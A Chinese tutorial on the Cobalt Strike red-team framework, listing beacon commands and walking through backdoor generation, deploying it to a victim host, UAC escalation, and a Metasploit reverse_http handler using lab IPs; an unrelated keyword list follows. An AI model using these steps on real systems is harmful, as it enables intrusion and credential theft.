千家信息网

如何进行内网渗透神器简单使用

发表于:2025-01-20 作者:千家信息网编辑
千家信息网最后更新 2025年01月20日,如何进行内网渗透神器简单使用,很多新手对此不是很清楚,为了帮助大家解决这个难题,下面小编将为大家详细讲解,有这方面需求的人可以来学习下,希望你能有所收获。一、介绍内网渗透的神器工具CobaltStri
千家信息网最后更新 2025年01月20日如何进行内网渗透神器简单使用

如何进行内网渗透神器简单使用,很多新手对此不是很清楚,为了帮助大家解决这个难题,下面小编将为大家详细讲解,有这方面需求的人可以来学习下,希望你能有所收获。

一、介绍内网渗透的神器工具CobaltStrike

Cobalt Strike 一款以Metasploit为基础的GUI框架式渗透测试工具,集成了端口转发、服务扫描,自动化溢出,多模式端口监听,exe、powershell木马生成等。

钓鱼攻击包括:站点克隆,目标信息获取,java执行,浏览器自动攻击等。

Cobalt Strike 主要用于团队作战,可谓是团队渗透神器,能让多个攻击者同时连接到团体服务器上,共享攻击资源与目标信息和sessions。

Cobalt Strike 作为一款协同APT工具,针对内网的渗透测试和作为apt的控制终端功能,使其变成众多APT组织的首选。

文件内容如下:

二、启动CobaltStrike

1.启动服务端CobaltStrike

服务端关键文件teamserver与cobaktstrike.jar

打开命令界面,切换到文件夹目录下,输入sudo ./teamserver [/path/to/c2.profile]

1 - 必填参数host 本服务器外网IP/域名

2 - 必填参数password Client GUI连接时需要输入的密码

3 - 可选参数Malleable C2 communication profile 指定C2通信配置文件该功能体现了CS

示例:本机IP:192.168.1.136

2.打开客户端cobaltstrike.jar,配置按照启动服务的配置进行。

点击连接,进入主界面。

三、参数介绍

1.Cobalt Strike

1- 新建链接(可以支持多个服务端)

2- 设置(配置控制台界面)

3- 可视化(展示控制的形式)

4- VPN接口(配置VPN)

5- 监听器(管理监听配置)

6- 脚本管理器(管理脚本,用于管理第三方脚本)

2.视图

1- 应用信息(显示被攻击着的机器的应用信息)

2- 凭证信息(通过hashdump或者猕猴桃抓到的密码都会保存到此处)

3- 文件下载(下载文件)

4- 日志(事件记录)

5- 键盘记录

6- 代理信息

7- 屏幕截图(截取被攻击者的屏幕)

8- 脚本控制台(脚本的命令执行的界面)

9- 目标(显示目标主机)

10- web日志

3.攻击

1- HTML Application (生成恶意的HTA木马文件)

2- MS Office Macro (生成office宏病毒文件)

3- Payload Generator (生成各种语言版本的payload)

4- Windows Executable (生成可执行Payload)

5- Windows Executable(S)(把包含payload,Stageless生成可执行文件(包含多数功能)

1- web服务管理(对开启的web服务进行管理)

2- 克隆网站

3- 文件下载(提供web下载文件)

4- Scripted Web Delivery (提供Web服务,便于下载和执行PowerShell Payload,类似于Metasploit的web_delivery)

5- 签名Applet攻击(启动一个Web服务以提供自签名Java Applet的运行环境)

6- 智能攻击(自动检测Java版本并利用已知的exploits绕过security)

7- 信息搜集(获取系统信息)

4.beacon命令

beacon> help

Beacon Commands

===============

Command Description

------- -----------

argue 进程参数欺骗

blockdlls 阻止子进程加载非Microsoft DLL

browserpivot 注入受害者浏览器进程

bypassuac 绕过UAC提升权限

cancel 取消正在进行的下载

cd 切换目录

checkin 强制让被控端回连一次

clear 清除beacon内部的任务队列

connect Connect to a Beacon peer over TCP

covertvpn 部署Covert VPN客户端

cp 复制文件

dcsync 从DC中提取密码哈希

desktop 远程桌面(VNC)

dllinject 反射DLL注入进程

dllload 使用LoadLibrary将DLL加载到进程中

download 下载文件

downloads 列出正在进行的文件下载

drives 列出目标盘符

elevate 使用exp

execute 在目标上执行程序(无输出)

execute-assembly 在目标上内存中执行本地.NET程序

exit 终止beacon会话

getprivs Enable system privileges on current token

getsystem 尝试获取SYSTEM权限

getuid 获取用户ID

hashdump 转储密码哈希值

help 帮助

inject 在注入进程生成会话

jobkill 结束一个后台任务

jobs 列出后台任务

kerberos_ccache_use 从ccache文件中导入票据应用于此会话

kerberos_ticket_purge 清除当前会话的票据

kerberos_ticket_use Apply 从ticket文件中导入票据应用于此会话

keylogger 键盘记录

kill 结束进程

link Connect to a Beacon peer over a named pipe

logonpasswords 使用mimikatz转储凭据和哈希值

ls 列出文件

make_token 创建令牌以传递凭据

mimikatz 运行mimikatz

mkdir 创建一个目录

mode dns 使用DNS A作为通信通道(仅限DNS beacon)

mode dns-txt 使用DNS TXT作为通信通道(仅限D beacon)

mode dns6 使用DNS AAAA作为通信通道(仅限DNS beacon)

mode http 使用HTTP作为通信通道

mv 移动文件

net net命令

note 备注

portscan 进行端口扫描

powerpick 通过Unmanaged PowerShell执行命令

powershell 通过powershell.exe执行命令

powershell-import 导入powershell脚本

ppid Set parent PID for spawned post-ex jobs

ps 显示进程列表

psexec Use a service to spawn a session on a host

psexec_psh Use PowerShell to spawn a session on a host

psinject 在特定进程中执行PowerShell命令

pth 使用Mimikatz进行传递哈希

pwd 当前目录位置

reg Query the registry

rev2self 恢复原始令牌

rm 删除文件或文件夹

rportfwd 端口转发

run 在目标上执行程序(返回输出)

runas 以其他用户权限执行程序

runasadmin 在高权限下执行程序

runu Execute a program under another PID

screenshot 屏幕截图

setenv 设置环境变量

shell 执行cmd命令

shinject 将shellcode注入进程

shspawn 启动一个进程并将shellcode注入其中

sleep 设置睡眠延迟时间

socks 启动SOCKS4代理

socks stop 停止SOCKS4

spawn Spawn a session

spawnas Spawn a session as another user

spawnto Set executable to spawn processes into

spawnu Spawn a session under another PID

ssh 使用ssh连接远程主机

ssh-key 使用密钥连接远程主机

steal_token 从进程中窃取令牌

timestomp 将一个文件的时间戳应用到另一个文件

unlink Disconnect from parent Beacon

upload 上传文件

wdigest 使用mimikatz转储明文凭据

winrm 使用WinRM横向渗透

wmi 使用WMI横向渗透

四、使用Cobalt strike

1.创建监听器

注:cs中提供了8种监听器:

beacon_xx 系列为Cobalt Strike自身,包括 dns、http、https、smb 四种方式的监听器。

foreign系列为外部监听器,通常与MSF或者Armitage联动。

创建好之后会显示监听开始

2.生成后门

点击攻击----生成后门---Windows Executable

监听器选择我们刚才创建的,根据攻击的系统选择64位还是32位。

保存生成后门的exe文件。

3.连接

将生成的后门程序,上传到受害者的机器上,运行,发现主机上线。

在主机右键,进入beacon,可以进行下一步命令执行操作。

备注:beacon的命令执行功能较少用起来不方便,可以使用Ladon脚本。

Ladon脚本下载地址:https://github.com/k8gege/Ladon

Ladon具体使用方法:https://github.com/k8gege/Aggressor

4.提权

在上线主机右键后,点击提权,选择uac提权。

成功后会出现一个新的主机。之后的操作可以在新的主机进行。

五、与MSF联动

Kali IP:172.16.20.18

受害者机器:172.16.20.20

CS:172.16.20.19

1.在MSF中创建监听器

msf5 > use exploit/multi/handler

[*] Using configured payload generic/shell_reverse_tcp

msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_http

payload => windows/meterpreter/reverse_http

msf5 exploit(multi/handler) > set lhost 172.16.20.18

lhost => 172.16.20.18

msf5 exploit(multi/handler) > set lport 3333

lport => 3333

msf5 exploit(multi/handler) > run

注:监听监听kali自身地址。

2.在CS中设置新的监听地址

注意:payload要与msf中的payload要一致。

在控制中右键--增加会话,选择msf的会话。

此时拿到meterpreter。

输入shell,进入主机命令操作。

看完上述内容是否对您有帮助呢?如果还想对相关知识有进一步的了解或阅读更多相关文章,请关注行业资讯频道,感谢您对的支持。

文件 监听 进程 命令 攻击 服务 生成 主机 信息 目标 脚本 监听器 程序 管理 配置 参数 应用 控制 通信 功能 数据库的安全要保护哪些东西 数据库安全各自的含义是什么 生产安全数据库录入 数据库的安全性及管理 数据库安全策略包含哪些 海淀数据库安全审计系统 建立农村房屋安全信息数据库 易用的数据库客户端支持安全管理 连接数据库失败ssl安全错误 数据库的锁怎样保障安全 修改数据库t sql语句 什么语言进行软件开发效率很高 美旅网络技术服务 广东领站网络技术有限公司 小学生网络安全抖音 数据库管理的体系架构 Dayz服务器联机管理工具 海北州软件开发五星服务 邯郸办公系统软件开发定制费用 英语词汇记忆软件开发 珙县游戏软件开发 宣威高密度存储服务器联系电话 网络安全审计厂家哪家好 网络安全防诈骗答题 异星探险家联机在线服务器无效 wps表格里 取数据库 网课系统软件开发需求 中央网络安全和信息领导 360数据库泄露 数据库辅助审计 云顶之弈哪个服务器更新早 邮箱链接服务器失败怎么办 战地1服务器选什么模式 已网络安全为主题的演讲稿 网络技术知识答题竞赛 我的世界服务器怎么重复一段话 天士力软件开发招聘 梁平区工商软件开发服务常见问题 怎么选择阿里巴巴国际服务器 计算机的服务器管理
0